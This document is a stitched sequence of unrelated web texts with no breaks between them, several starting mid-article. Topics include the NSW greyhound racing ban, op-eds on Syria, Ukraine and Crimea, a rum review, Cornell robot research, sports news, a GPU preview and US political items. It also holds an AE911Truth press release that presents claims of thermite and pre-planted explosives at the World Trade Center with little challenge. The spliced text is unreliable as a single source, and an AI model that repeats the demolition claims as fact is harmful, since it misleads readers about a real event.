He said whatever loss of life came as a result of the shutdown, it would be a fraction of what would happen if the industry continued although he admitted rehoming greyhounds would be a huge challenge.
"I'm open to any approach to save as many dogs as we can. But the report is very clear - tens of thousands of dogs are being systematically killed, often in inhumane ways, simply for not being fast enough," he said.
Mr Baird also denied the ban, set to be implemented next year, had been a hastily made decision in response to the ABC Four Corners report which exposed live-baiting in the industry.
Many Facebook users responded to Mr Baird's positively.
"I don't support all your decisions, but I support this one, and I think you have publicly addressed it well," said one man.
But others expressed disappointment at the reach of the state Government into another area of public life.
"The nanny state gets worse!," one user sad. "You have lost my vote old mate!"
Racing is due to resume next week but the announcement to ban the sport has sent shockwaves through the industry.
Thousands of jobs 'will be lost'
Mid-north coast trainer Shane Watkin has told ABC local radio he does not know what to do about the future.
"We're just beside ourselves, we just don't know, we don't know," he said.
"It's meant to be a democracy ... but it's like a dictatorship, we don't have a say, like 18 months, we're doing the reforms that they wanted us to do.
But Dr Jed Goodfellow from RSPCA Australia said it was an industry that could not continue.
"It is simply not acceptable in the 21st century to be putting thousands upon thousands of dogs to death for the purposes of sport and entertainment and gambling," he said.
The industry has vowed to fight the Baird Government's ban, with talks at Dapto and Wallsend today following a crisis meeting on Saturday.
At Sydney's Wentworth Park, the Greyhound Breeders, Owners and Trainers Association said a legal challenge was the only way forward.
State secretary of the AWU Russ Collison believes 5,000 people will lose their jobs, with people in regional areas hardest hit.
"I'm talking about thousands of hardworking Australians around NSW and country and regional areas, where unemployment is normally at least twice the level of what it is in the metropolitan area," he said.
Topics: nsw
One of the hallmarks of democracy is political disagreement. Populations abroad are sophisticated enough to separate us Americans from the policies that emanate from Washington. Just ask any American who has traveled abroad at any time during the past three decades. Populations from Sudan to Sumatra make allowances for U.S. foreign policy, and don’t hold us personally accountable. So, do we really think canny foreign leaders of countries like Iran and North Korea are less shrewd when it comes to reading the U.S. as a whole?
This President is not the U.S. The idea that politics stopped at our shores died with the Cold War.
So, what else might be motivating seemingly smart people who now urge action on behalf of the country’s credibility? One increasingly common argument is that we need to signal Iran, North Korea, and other rogue actors to not even think about using chemical weapons. These pundits’ underlying assumption is that a hand-slapping strike in Syria will do that. It is hard to see how, but even giving them the benefit of the doubt, here’s the other thing such a strike will surely do: it will make a total mockery of our caring anything about the Syrian people. In fact, it will only further demonstrate that we are using Syria for ends that have nothing to do with Syrians.
Of course, that would simply be in keeping with what we have already done. By planning to provide some weapons, but not providing enough to make any difference, we may only prolong the struggle. By dangling the promise of ‘hope and change’ to the rebels, we have encouraged them to keep fighting. When he called for regime change two years ago, President Obama (along with other leaders who did the same) only ensured the situation in Syria would become a zero-sum game. Why wouldn’t President Assad use everything at his disposal to retain his position?
Meanwhile, the American people never signed up to support any rebel faction or to oust Assad. Congress never debated, let alone issued a Declaration of War against Syria. That is the only rubric under which Washington should be acting either in Syria or against the Assad regime. Otherwise, what we have been engaging in thus far is a covert war.
In the 24/7, leak-saturated twenty-first century, covert war makes no sense—if it ever did.
So, here we are: Washington has been equivocating covertly from the outset. Nonetheless, now those in favor of a strike seem to think that if only we make the signaling public (and splashy), we will deter the actors we want to deter. How sadly ironic that what this actually exposes is the extent to which Washington misreads other people’s sophistication and underestimates other regimes’ ability to read our signaling for what we actually communicate: we don’t have a principled foreign policy or a national strategy.
If we were principled regarding casualties we would have done something about Congo years ago, where twenty times more people have lost their lives than in Syria. If we were principled about a breach to the chemical weapons taboo, we would done something to Syria months ago—and the whole world, to include the American public, would have known to expect nothing less. A breach is a breach, whether 15 or 1500 are killed. A breach is also a breach as soon as it has occurred.
In other words, anyone taking the measure of the President has already done so. Congress should not now allow itself to be blackmailed over the red herring that the President’s credibility is ours. The chemical weapons red line was his self-declared red line. His actions have already made it clear to anyone abroad who has reason to study him—which includes every leader of any other country—just how inconstant he is. Should Congress now sanction military action in Syria, then it will be U.S. credibility on the line.
We have three branches of government. When the President speaks, one branch speaks. When the U.S. military acts, the United States military acts. Therein lies our credibility.
The Eternal Conflict between the Burning Hells and the High Heavens rages on in the Nexus, and we’re ready to do our part by joining in the battle—over a few games of Heroes! Join us over at Twitch.tv/blizzheroes on Wednesday, August 19 at 11:00 a.m. PST to meet members of our community and catch a few matches played live on stream. Joining us for this episode will be:
The Heroes of the Storm players above will join Trikslyr in-game to brawl it out in the Nexus. Our very own Spyrian will also be on hand to collect your questions from Twitter and the Twitch chat, and field them to the players to get their answers live on the air.
Fortunately for me it has been explored in great detail by Nikos Arvantis and published over at Steve James’ Rum Diaries Blog.
Bristol Classic Rum have released a good few variations of this Rockley Still 1986 distillate over the years. This bottling is a Sherry Finish and more specifically an Oloroso Sherry finish.
This is the most recent bottling and was released in 2014 or 2015 despite being aged till 2012. The rum retails at around £110-130 and comes in a familiar Bristol stubby 70cl bottle. The ABV on this is 46%. It has a light to royal blue colour scheme.
Like most (if not all) of Bristol’s offerings the rum has been matured mostly here in the UK. It is unclear how long the Oloroso Sherry finish was but with rum unlike Whisky it is often for years rather than months.
There are very few rums available in the Rockley Still Style. For those who haven’t clicked on the link earlier the Rockley Still is/was a pot still used to produce a heavier style of Bajan rum – some more recent bottlings from 2000 are believed to be produced in the style rather than from the actual still. See my earlier review of the Rum Swedes Barbados 2000.
It is felt that this rum is from the original Rockley Still. On the rear of the bottle it is noted that this is a distinctive heavy, medicinal style of rum. This is something which is very surprising to anyone who is familiar with the lighter, balanced, vanilla and oak aged led Bajan rums, produced by the likes of Foursquare, Mount Gay and even WIRD (West Indies Rum Distillery).
I had originally not regarded this rum as a purchase. At over £100 for a Bajan rum I felt it offered little value for money, especially when compared to the islands other offerings. That is before I was informed that this was a unique and entirely different rum altogether.
Which indeed it is. At this stage I suggest you park all pre-conceptions of Bajan rum – vanilla and sour mash Bourbon oak ageing is definitely out with this one. Or so you might initially think.
The appearance of the rum is a dark to golden brown with reddish flashes.
First up is the nose. I’ll note that all the Bristol Rums I have tried so far, that have either a Port or Sherry finish have a very similar slighty musky note with a touch of sulphur. Different rums from different islands but a similar note – must be something to do with UK ageing.
The notes on the rear label of the bottle are as usual spot on. Medicinal is a note which would probably scare most bottlers – especially commercial rather than Independent bottlers. Not Bristol – they make it very clear what you are getting in this bottle of rum.
Indeed this rum is very medicinal on the nose. Benilyn or Cough Mixture – cough sweets, a touch of anise. It’s rich with some nice fruity notes, some hints of oak and spice as well. It smells rich and full bodied. Sherry influence is there.
Sipping this rum is really an absolute delight. It is sweet, musky, spicy, oaky and full of fruit flavours. It wraps up pretty much everything you might want in a rum. It also has some heavier notes – navy tablet (a boiled sweet which is basically a mix of menthol and fruit), a hint of tar/tobacco, some musty old leather.
The entry on the palate is sweet and full of complex sherried fruits. The medicinal notes which initially seem a little too much become more about added complexity as you move onto the second and third sip. The cough mixture notes mix beautifully with the spicy oak. You find that there is a more Bajan heart to this rum – Bourbon influenced sweet/sour notes take over in the mid palate and continue onto the long complex finish.
It really is a very complex journey with this rum. It’s not a one note sweet sugar bomb it has some edges which seems a little rough at first. It definitely improves as you get more acquainted with it. It isn’t quite as raw and heavy as the Rum Swedes Barbados 2000 – the Sherry finish has smoothed those notes a little but without totally masking them.
Press Conference – Architects & Engineers for 9/11 Truth
Saturday, May 24, 2014 – 1:00 PM
Memorial Grounds Entrance – corner of Greenwich St. and Liberty St.
Live multimedia presentation – Richard Gage, AIA
Contact (for organization info and interviews):
Kelly David (925) 939-9002
911Museum [at] ae911truth [dot] org
Contact (for local event info):
Les Jamieson (646) 606-7196
Jazzyday3 [at] gmail [dot] com
The Grand Opening of the $500M 9/11 Museum in New York will enshrine the official account of 9/11 in perpetuity, with memories and heart-wrenching emotions fixed in concrete, steel, and artifacts. This monumental effort now transforms the events of 9/11 from a patriotic "We Will Never Forget" fervor into a pathologically sacred "We Will Never Ask Questions" suppression – with its decision to reject the forensic evidence that doesn't fit into the official narrative of the 9/11 events at the World Trade Center.
So claims Richard Gage, AIA, architect and founder of Architects & Engineers for 9/11 Truth (AE911Truth), representing 2,100 technical and building professionals along with 18,000 other petition signers, including 9/11 family members, all calling for a new WTC investigation. Insists Gage, "We want to know why the new museum does not even mention the free-fall destruction of adjacent WTC Building 7, a 47-story skyscraper, not hit by a plane, which falls suddenly and symmetrically into its own footprint in under seven seconds – after witnesses hear explosions. It is the third worst structural failure in the world – yet most architects and engineers are completely unaware of it. It needs to be squarely dealt with by New Yorkers."
The nonprofit group, now eight years old, has given more than 350 presentations in 32 foreign countries and 80 American cities, and will be on site to educate the public at the 9/11 Memorial Grounds Entrance during the Museum's Grand Opening May 21 and continuing through Saturday, May 24. Gage will give a presentation at the Community Church of New York on Saturday, May 24, on what he calls the "explosive evidence" of the three WTC high-rises. Family member Bob McIlvane, whose son Bobby died from unacknowledged explosions in the North Tower, pleads, "Please, look at the Architects & Engineers.... You can't argue with science.... People all around the world are questioning the official story. There's some deep, deep explaining to do."
This organization of architects and engineers also cites video and forensic evidence that is not included in the new museum. Gage clarifies, "The museum doesn't examine the sudden near-free-fall destruction of the towers or the four-ton structural steel columns, flying laterally at 65 miles per hour and landing 600 feet away. It doesn't show the pools of molten iron and concrete, which the fires and jet fuel can't account for, or the other evidence of thermite incendiaries found in the dust samples. It doesn't try to explain why there is only a two-story pile of miscellaneous metal at the bottom of a 110-story pancaking collapse – or why 90,000 tons of concrete floors are pulverized in mid-air."
Family member Jane Pollicino asked, "Why, for over a thousand victims, including my husband Steve, are there no traces...., and why are there 700 bone fragments on top of a neighboring skyscraper, less than a half-inch long." "The bottom line," exclaims Michele Little, who lost her brother, an FDNY fire fighter, "is that it needs to be investigated properly."
High-rise architect and urban planner Dan Barnum says that he doesn't have the museum funding of its architect, Davis Brody Bond, to design another museum in order to document the untold story of World Trade Center Building 7. Nevertheless, Barnum has been quite willing to join AE911Truth's Board of Directors and also discuss the World Trade Center destruction with New Yorkers for the past eight years on each 9/11 anniversary.
Fellow board member and high-rise architect Robert McCoy contends, "The evidence, which clearly reveals the use of pre-planted explosives and incendiaries to destroy all three skyscrapers, is easily understandable by all who are willing to look at it straight on – and the implications are deeply profound and motivating for Americans who love their country."
Agree or not, the meticulous analysis developed by this organization of building professionals, juxtaposed against the Grand Opening of one of the most awaited museums in history, is bound for controversy.
Mercifully, Rivera appears not to know how to thread tweets, but if you click on that first tweet, you’ll see that his thoughts continue. Here’s another:
Seems like Geraldo cares a lot about this issue. Why ever could that be?
In 1991, Geraldo Rivera published a memoir called Exposing Myself, which, per the Washington Post’s review of the book, promised to reveal what “his public was dying to know about his alleged conquests of Bette Midler” and other luminaries. In the above clip—recently tweeted by reporter Kinsey Schofield— of Bette Midler talking about Rivera, though, her side of the story is different.
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Per the Washington Post, here’s what Rivera had to say about his encounter with Midler: “We were in the bathroom, preparing for the interview, and at some point I put my hands on her breasts.” Consent, implied or otherwise, is murky in Rivera’s description, but what Midler tells a pink-suited Barbara Walters is much more distressing:
“One thing I do remember—and that was how I met Geraldo—and that was not funny,” Midler says. “Should I tell you?” When Walters responds with a steady “Why not?” Midler demurs, saying that she doesn’t want to “get in trouble,” but at Walter’s encouragement, she relays the following tale.
Geraldo and his producer came to do an interview with me, in the ‘70s, in the early ‘70s. This was when he was very hot. He and his producer left the crew in the other room, they pushed me into my bathroom, they pushed two poppers under my nose, and proceeded to grope me...I did not offer myself up on the altar of Geraldo Rivera. He was unseemly.
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Almost exactly a year ago, we posted about how Ashutosh Saxena's lab at Cornell was teaching robots to use their "imaginations" to try to picture how a human would want a room organized. The research was successful, with algorithms that used hallucinated humans (which are the best sort of humans) to influence the placement of objects performing significantly better than other methods. Cool stuff indeed, and now comes the next step: labeling 3D point-clouds obtained from RGB-D sensors by leveraging contextual hallucinated people.
A significant amount of research has been done investigating the relationships between objects and other objects. It's called semantic mapping, and it's very valuable in giving robots what we'd call things like "intuition" or "common sense." However, being humans, we tend to live human-centered lives, and that means that the majority of our stuff tends to be human-centered too, and keeping this in mind can help to put objects in context.
In the above case, a traditional semantic mapping algorithm might take a look at all of the objects on the desk and be able to figure out that its a desk area, but some of the objects (like the bottle of water or the jacket) don't necessarily fit into the "desk" semantic category. When you imagine a human there, though, it starts to make more sense, because clothing and water often show up where humans tend to spend significant amounts of time.
The other concept to deal with is that of object affordances. An affordance is some characteristic of an object that allows a human to do something with it. For example, a doorknob is an affordance that lets us open doors, and a handle on a coffee cup is an affordance that lets us pick it up and drink out of it. There's plenty to be learned about the function of an object by how a human uses it, but if you don't have a human handy to interact with the object for you, hallucinating one up out of nowhere can serve a similar purpose.
Here's a few videos of Cornell's PR2, Kodiak, demonstrating how this works:
We test our system on [a cushion]. We visualize the sampled human poses and object locations in red and blue heatmaps. We can see that most sampled humans are sitting on the couch, bean bag or chair, and the most likely location for the cushion is on the couch and the desk.
Our robot Kodiak (PR2) placing several objects in a fridge, on a table and on the ground, using hallucinated human skeletons and learned human-object relationships.
This research will be presented next week at RSS in Berlin, and also at CVPR in Portland. Because the researchers are good eggs, they've made their papers fully available ahead of time, and you can read them in full here and here.
Friday 1 August 2014 11:22
Fulham Football Club is delighted to announce the permanent signing of Bulgarian international defender Nikolay Bodurov.
The 28-year-old has penned a contract to play for the Whites until the summer of 2017, with an additional one-year option, and he joins up with Felix Magath's squad at their training camp in Innsbruck, Austria.
Bodurov made 125 appearances for his hometown club, Pirin Blagoevgrad, before moving to Litex Lovech in 2009, where he went on to play 258 matches and score 10 goals to help his team lift the Bulgarian Championship on two occasions.
Bodurov, primarily a centre-back who can also play on the right side of defence, experienced playing in the UEFA Champions League qualifying round and the Europa League with the Oranges.
His performances earned international acclaim in October 2010, when then manager Lothar Matthäus handed him his international debut against Wales in Cardiff, and Bodurov has since collected 24 caps for Bulgaria.
The Club would like to welcome Nikolay and wishes him a successful playing career with the Whites.
The downing of Malaysian Airlines Flight 17 has dramatically escalated tensions surrounding the Ukraine crisis. On Tuesday, the EU and the United States enacted unprecedented economic sanctions against Russia , the world’s sixth largest economy. The talk in Western capitals is about the degree of punishment to exact against Russia for its actions and the extent of support to provide to the Ukrainian government, be it political, military or financial. This two-pronged approach has rapidly become conventional wisdom in policy circles.
And it is understandable why the West is responding this way—having annexed a neighbor’s territory, stoked an armed insurgency, and now created the circumstances under which three hundred innocents perished, Russian president Vladimir Putin and his government have left Western leaders little choice. Yet this approach, while morally justified and responsive to the politics of the moment, is likely to backfire with potentially catastrophic consequences.
The outcome demanded by Western officials—and pursued on the ground by the Ukrainian authorities—entails an immediate halt in Russian aid to the insurgents that would allow the government forces to crush the insurgency, establishing full control over Ukraine’s sovereign territory. This outcome is both highly unlikely to come to pass and deeply problematic.
It is improbable because it requires Russia to sit on the sidelines and not take steps to prevent it from materializing. But for President Putin, this scenario represents complete strategic defeat and public humiliation. The insurgency in Ukraine for him is leverage to extract assurances about the country’s future geopolitical and geoeconomic course. If the rebels are crushed, the Kremlin believes it will have “lost” Ukraine to the West, an outcome it cannot accept under any circumstances.
For coercion—accurate shorthand for the Western sanctions strategy—to be effective in ending a conflict, the sides’ interests cannot be completely opposed. As Thomas Schelling, the international relations scholar, observed in his 1967 classic Arms and Influence , “Coercion requires finding a bargain, arranging for him to be better off doing what we want—worse off not doing what we want—when he takes the threatened penalty into account.” However irrational it might seem to the rest of the world, there is no feasible penalty that makes the desired Western outcome in Ukraine acceptable to Moscow. Under those circumstances, Schelling observed, escalation is inevitable: “If his pain were our greatest delight and our satisfaction his greatest woe, we would just proceed to hurt and to frustrate each other.”
Despite the tough new Western sanctions this week, Ukraine simply matters far more to the Russian elite and the Russian people than it does to the United States, the EU foreign-policy establishment or the American or EU citizenry. That is a reality that will not change with time. And it suggests that while Western governments will only take measures that have no significant impact on their economies, Russians—its leadership and people—are willing to pay a price to pursue their goals. In short, absent a negotiation process involving genuine give and take, the strategy of coercion will likely fail to change Russian behavior.
In his remarks announcing the new sanctions on Tuesday, President Obama even suggested that talks are unnecessary:
Obviously, we can't in the end, make President Putin see [reason]. Ultimately, that's something that President Putin has to do on his own. But what we can do is make sure that we've increased the costs for actions that I think are not only destructive to Ukraine, but ultimately are going to be destructive to Russia as well.
The president of the United States can in fact try to make Putin see reason through (in-person, not over-the-phone) negotiations. But there is no diplomatic process at the moment—and President Obama’s statement implies that the sanctions aren’t even supposed to produce a negotiated outcome.
The desired Western outcome is, therefore, quite a long shot. But it’s also problematic for Ukraine’s future. Even if Russia can somehow be brought to heel, an outright military victory for Kiev in the East—absent an internal political track—could further divide the country, not bring it together. The Ukrainian military, National Guard and paramilitary groups fighting in the East have violated President Petro Poroshenko’s pledge not to attack the two rebel-held cities of Donetsk and Lugansk. In fact, according to a Human Rights Watch report released last week, they are using heavy weapons in civilian-populated areas, including unguided Grad rockets, which killed at least sixteen civilians in Donetsk and surrounding areas over nine days. According to the Ukrainian government’s own reporting , men in camouflage uniforms without identifying badges, most likely pro-government paramilitary forces, are looting and robbing civilians in the areas of the region retaken by Kiev in recent weeks.
In Kiev today, public debate about the way in which the government has used force in the east is practically impossible. One opposition MP was recently physically ejected from the parliament building after decrying the government forces’ killing its own citizens during the operation in the East. Further, Donbas’s central demand for greater autonomy remains unfulfilled. Poroshenko’s proposed decentralization plan has stalled in the parliament and will now likely be delayed until next year at the earliest. Unsurprisingly, Kiev is losing the hearts and minds of its citizens living in the conflict zone. The latest polling from the region indicates that in early July, 37 percent of respondents in Donbas endorsed secession, whereas three months earlier that number was around 30 percent.
In his remarks on Tuesday, President Obama suggested that the Ukraine crisis will end only when “the Russians recognize that the best chance for them to have influence inside of Ukraine is by being good neighbors and maintaining trade and commerce, rather than trying to dictate what the Ukrainian people can aspire to.” Certainly such a dramatic change in Moscow’s attitude would be welcome. Unfortunately, the levers of power that Obama and his European colleagues are willing to exercise will not make it happen. Instead of talking about Putin, they will have to start talking to him in order to avoid even greater catastrophe and suffering in Ukraine.
Based on details from Hexus.net, the GTX 560 Ti will be using the new GF114 GPU with a 1GB frame buffer. It’s core clock will be roughly 823 MHz, which equates to 1,646 MHz for the 384 CUDA cores. Also, the GF114 GPU and its 1GB frame buffer will be connected via a 256-bit bus. What does all that gibberish mean in terms of performance? Check out the benchmarks released by diyfan.taobao.com and see for yourself how the card stacks up, even before it’s even released.
It looks like the card is on par with AMD’s new HD 6950 card that we recently reviewed. The GTX 560 Ti seems like a direct response to AMD’s cornering of the $300 price-point. It will be interesting to see what the 560 will sell for.
It’s also interesting that the GTX 560 Ti brings back the titanium moniker from many moons ago. It seems like marketing department is doing some recycling with their card names. Anyway, let’s take a peek at the card shall we?
From the top view it’s nothing too impressive, but remember that this is a reference model card. As Hexus.net mentioned, you’d think it was a GTX 460 if not for the label. Not to worry, as the flashy retail cards with massive cooling solutions will hit the shelves soon after launch. Moving on to the other pictures, we get a view of the board itself and the reference design heatsink.
Note that the card will require two 6-pin PCIe power connectors, falling in line with most cards in the range. Initial speculation puts the price in the $350 to $365 range, but I think that’s a bit high considering its initial performance benchmarks. Time will tell, as this card will be hitting the shelves in a few days.
ST. LOUIS, MO (KTVI) – The broadcast schedule for four Chicago Bears preseason games has been announced.
After careful consideration of all regional teams including Kansas City, Green Bay, Indianapolis, Nashville and Chicago, the station decided it was most important to bring NFC league play to St. Louis.
“We are happy to give viewers a strong NFC team like the Bears, playing strong contenders, including last year’s Super Bowl Champions,” said Spencer Koch, President and General Manager of KTVI FOX 2/KPLR 11. “Chicago fans have a strong regional appeal and fanbase, evidenced by attendance in St. Louis.”
Broadcast schedule:
Thursday, August 11th (Bears vs Denver Broncos) – 7pm
Thursday, August 18th (Bears @ New England Patriots) – 7pm
Saturday, August 27th (Bears vs Kansas City Chiefs) – 12pm
In this edition of The Heat Beat Podcast, we welcomed Chris Cochran of 790 the Tickets to join Giancarlo Navas, Jack Alfonso and Leif discussions that involve:
• The Heat’s win against the Kings
• Who would win in a fight, Hassan or Boogie?
• We talk about Heat’s lack of PF depth
• The guys lament Dion Waiters in late game situations
… and so much more
Want more Miami Heat Beat commentary and insight? Follow our writers on Twitter:
Editors: Giancarlo Navas (@GNavas103) and Brian Goins (@byBrianGoins).
Contributors: Leif Sylvander (@Lefty_Leif), Christian Hernandez (@cch1125), The Greater Alf (Heat Twitter President) (@Alf954), Harrison Cytryn (@hlcytryn), Jack Alfonso (@alfonsohoops), James Profetto (@jamesprofetto), Jorge Corrales (@jorgecorrales), Alex Toledo (@tropicalblanket), and Veronika Quispe (@veronika_quispe).
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Russia’s invasion and continued occupation of Georgia was the beginning of a disturbing turn in Russia’s national security and foreign policy. The primary goal of Russian foreign policy is now its reemergence as a super power and control over its former Soviet neighbors. Countries seeking greater ties with the West are in danger of more direct Russian intervention. In particular, the Crimea is Ukraine’s weak spot and may be Russia’s next target.
Perhaps the most urgent question in the world affairs today is whether Russia’s invasion and continuing occupation of Georgia was a singular event. Or was it the onset of a distinct, and profoundly disturbing, national security and foreign policy agenda?
Much as one would like to cling to the former theory, the evidence favors the latter. A European delegation led by French President Nicolas Sarkozy did manage this week to get assurances that Russian troops would withdraw from Georgia (excepting Abkhazia and South Ossetia, whose independence Moscow says is “irrevocable”). But ultimately, this short war is likely to be remembered as the beginning of a decisive shift in Russia’s national priorities. The most compelling of these new priorities today seems to be recovery of the assets lost in the Soviet Union’s collapse in 1991, which Vladimir Putin has called the “greatest geopolitical catastrophe of the 20th century.”
How does Russia achieve this goal? By dominating the domestic politics and, more importantly, economic- and foreign-policy orientation, of the former Soviet republics. Anything considered antithetical to Russia’s interests, as interpreted by the current Kremlin leadership, must be discarded–be it democratization, oil and gas exports that bypass Russia, and, especially, the membership in the Western organizations such as the European Union and NATO. And if, in the process, Russia must sacrifice most or even all of the fruits of the post-Soviet rapprochement with the West–including membership in the G-8, entry to the World Trade Organization or ties to the EU–so be it.
Whatever the operational specifics, the Russian political barometer seems to augur storms ahead.
Russia’s “targets of opportunity” include simmering border disputes (and virtually all Russia’s borders with newly independent states could be disputed, since they are but the very badly demarcated internal borders of the Soviet Union), and the presence of the ethnic Russian or Russian-speaking minorities in neighboring countries.
Apart from Estonia and Latvia–where ethnic Russians constitute over a quarter of the population, but where NATO membership raises the risk for the Kremlin–by far the most likely target is Ukraine. Kiev has repeatedly defied and angered Russia by the domestic politics of democratization, a decidedly pro-Western orientation, and the eagerness of its leadership to join NATO. Nearly one in five Ukraine citizens are ethnically Russian (a total of almost eight million) and live mostly in the country’s northeast, adjacent to the Russian border.
Mr. Putin has made his contempt for Ukrainian sovereignty clear, most notably at the NATO summit in Bucharest last April when, according to numerous reports in the Russian and Ukrainian press, he told President Bush that the Ukraine is “not even a real state,” that much of its territory was “given away” by Russia, and that it would “cease to exist as a state” if it dared join NATO. Clearly, Vice President Cheney’s trip to Ukraine this past weekend, where he expressed America’s “deep commitment” to this “democratic nation” and its “right” to join NATO, was intended as a message to Moscow.
Still, there is no better place to cause a political crisis in Ukraine and force a change in the country’s leadership, already locked in a bitter internecine struggle, than the Crimean peninsula. It was wrestled by Catherine the Great from the Ottoman Turks at the end of the 18th century. Less than a quarter of the Crimeans are ethnic Ukrainians, while Russians make up over half the inhabitants (the pro-Ukrainian Crimean Tatars, one-fifth).
Ever since the 1997 Treaty of Friendship and Cooperation between Russia and Ukraine, signed by President Boris Yeltsin and Ukrainian President Leonid Kuchma, a solid majority of the Russian parliament has opposed the recognition of the Crimea as Ukrainian territory. Russian nationalists have been especially adamant about the city of Sevastopol, the base for Russia’s Black Sea fleet and the site of some of the most spectacular feats of Russian military valor and sacrifice in World War II and the Crimean War of 1854-55.
Nationalist politicians, including Moscow Mayor Yuri Luzhkov, have repeatedly traveled to Crimea to show the flag and support the Russian irredentists–many of them retired Russian military officers who periodically mount raucous demonstrations. In 2006, their protests forced the cancellation of the joint Ukraine-NATO Sea Breeze military exercises. Sevastopol was and should again be a Russian city,” Mr. Luzhkov declared this past May, and the Moscow City Hall has appropriated $34 million for “the support of compatriots abroad” over the next three years. On Sept. 5, Ukraine’s Foreign Minister Vladimir Ogryzko accused the Russian consulate in the Crimean capital of Simferopol of distributing Russian passports to the inhabitants of the peninsula.
With almost three-quarters of Sevastopol’s 340,000 residents ethnically Russian, and 14,000 Russian Navy personnel already “on the inside” (they’ve been known to don civilian clothes and participate in demonstrations by Russian Crimean irredentists), an early morning operation in which the Ukrainian mayor and officials are deposed and arrested and the Russian flag hoisted over the city should not be especially hard to accomplish. Once established, Russian sovereignty over Sevastopol would be impossible to reverse without a large-scale war, which Ukraine will be most reluctant to initiate and its Western supporters would strongly discourage.
A potentially bolder (and likely bloodier) scenario might involve a provocation by the Moscow-funded, and perhaps armed, Russian nationalists (or the Russian special forces, spetznaz, posing as irredentists). They could declare Russian sovereignty over a smaller city (Alushta, Evpatoria, Yalta) or a stretch of inland territory. In response, Ukrainian armed forces based in the Crimea outside Sevastopol would likely counterattack. The ensuing bloodshed would provide Moscow with the interventionist excuse of protecting its compatriots–this time, unlike in South Ossetia, ethnic Russians.
Whatever the operational specifics, the Russian political barometer seems to augur storms ahead.
Loudermilk, a member of the House Financial Services Committee, said during an interview late last month at the Conservative Political Action Conference that a Republican healthcare plan should end the federal public exchanges for health insurance but let states have the option to keep their state-level exchanges or not.
The American Health Care Act, crafted by the House Energy and Commerce and Ways and Means committees, met conservative opposition out of the gate, with critics calling the plan “Obamacare Lite.” President Trump and House Speaker Paul Ryan (R-Wis.) have spent the week trying to convince lawmakers to support the bill, while enough GOP senators and congressmen to threaten rejection of the legislation have said they need to see changes.
PJM: What’s the cohesive message you want the grassroots activists to take out of CPAC?
Loudermilk: It’s time for us to more forward, not keep going backwards. Look, what’s happened over the last eight years is that the Democrats have come in – they’ve tried to make the government the solution for everything and the government rarely does anything right. Their way did not work. When you look at healthcare, healthcare costs have gone up, insurance rates have gone up, deductibles are to the point where people can’t even afford – their insurance is basically useless. Our healthcare system, the insurance, was broke before President Obama came in; government just made it worse. You look at everything – Dodd Frank has actually closed the economy off for most Americans, it’s protected Wall Street. It’s time to start breaking down the barriers and people are saying ‘let’s get big, let’s get bold or just go home,’ and it’s our time to fix America.”
PJM: When it comes to healthcare, what’s your timeline? When do you want to see the Republicans have a replacement actually passed and Obamacare fully replaced?
Loudermilk: Most of Obamacare we don’t want to replace, OK, if you look at it, the taxes associated with Obamacare, I don’t want to replace those. When you talk about the high cost of insurance premiums, why do you want to replace that with more government controls that have caused that? So there’s a majority of Obamacare we don’t want to replace – that’s government-instituted hurdles that really keep American people from getting the health insurance they want.
10:25h CEST
Radamel Falcao ha sido la gran sorpresa del último día del mercado de fichajes. El colombiano ha dado esquinazo al Manchester City y a la Juventus y finalmente se va a convertir en el nuevo delantero del Manchester United. Ayer se cerró la operación a las 3:00 h. de la mañana.
Falcao Mónaco
Delantero
Colombia
El Manchester United pagará 65 millones de euros al Mónaco por el delantero colombiano, que firma por cuatro temporadas a razón de nueve millones netos por cada una. Para burlar el fair play financiero, se disfraza como una cesión por un año por un importe de diez millones y una compra obligatoria, el próximo verano, por 55.
"Estoy muy feliz de ser parte de este gran club. He estado esperando este momento durante todo el año. Ya soy jugador del Manchester United. Fue un día largo. Estuvimos esperando hasta el último minuto. Pero nunca perdí la esperanza, debo darle las gracias a Dios", dijo el colombiano en su primera entrevista en la web del United.
By Sarah Glidden
For two months in 2010, American cartoonist Sarah Glidden travelled with two journalist friends and a former Marine through Turkey, Syria and Iraq. Since then, the region has been engulfed in turmoil, with hundreds of thousands killed and millions forced to flee. There’s been the Arab Spring, the rise of Islamic State and brutal civil wars in Iraq and Syria. This work of graphic non-fiction should feel dated. Remarkably, it comes off as timely and, somehow, prescient. Through a series of vignettes, Glidden contextualizes and humanizes people making hard choices under impossible circumstances. We meet an Iranian refugee in Turkey detained for publishing banned books, an American couple in Damascus helping students get into universities in the States, and a Sunni Arab man forced to flee Baghdad who wants “another Saddam” to restore stability to Iraq.
Rolling Blackouts is presented as a meditation on journalism. She follows her journalist friends from the (then-nascent) news website the Seattle Globalist, asking many questions about the nature of journalism. As with her first book, How to Understand Israel in 60 Days or Less she does not offer definitive answers. She shares her ignorance (she knows little about Kurdish history), and her honesty undergirds a compelling story. One man interviewed by Glidden’s friends is alleged to have ties to the 9/11 attacks. The ambiguity surrounding his story, and in so many of the stories in Rolling Blackouts, is elegantly handled. How does one understand Iraqi refugees fleeing for their lives saying they’ll go anywhere in the world except the U.S.?
King didn’t answer that. Instead, he talked about why “natural” families need to be promoted, a silly statement that Cuomo immediately rebutted:
.@SteveKingIA on whether Trump's child care plan will protect LGBT families: "I want to promote the natural family" https://t.co/IvyUHZ0x83 — New Day (@NewDay) September 14, 2016
“I want to respect all people but I want to promote the natural family, Chris, and I think that’s the most wholesome thing that we can do,” he said on CNN’s “New Day.” “The natural family is a man and woman joined together hopefully in holy matrimony blessed by God with children,” the Donald Trump supporter added. … Cuomo cited scientific research that says children of same sex parents do as well if not better than the children of heterosexual families. “We know that what works is loving the kid, giving them the attention, giving them the time,” Cuomo said. “There is no reason to believe that you have to have a man and woman to do that.” “Why not encourage anything that gets a child loved and provided for?” he asked the Congressman.
King said he needed to “look a little further” into that research — how’s that for an understatement? — before bizarrely suggesting that the research could be wrong, because when we explored climate change, we “found out there was another side to that equation, too.” (That’s a lie.)
Maybe reporters can ask Mike Pence whether LGBT families would be covered in a Trump administration. Let’s all watch him squirm. After all, Trump keeps telling us he’s a friend to the gay community, but he’s doing everything he can to pander to a conservative Christian voter base.
Separate figures, published by the OECD, show that almost 1.3million Britons with university-level education are living abroad, more than any other developed economy.
Nick de Bois, secretary of the 1922 committee of backbench MPs, says Britain has a "sales job to do" to convince talented professionals not to leave the country.
He said: "We live in a very mobile, global market people can look around and they can judge where they want to go. My concern is that people are putting their own interests first and looking to beyond the European Union.
"We have to convince those people, who we have invested so much in, to make Britain their first choice. We have to continue to drive lower taxes, we have to keep driving the change and reform in our public services."
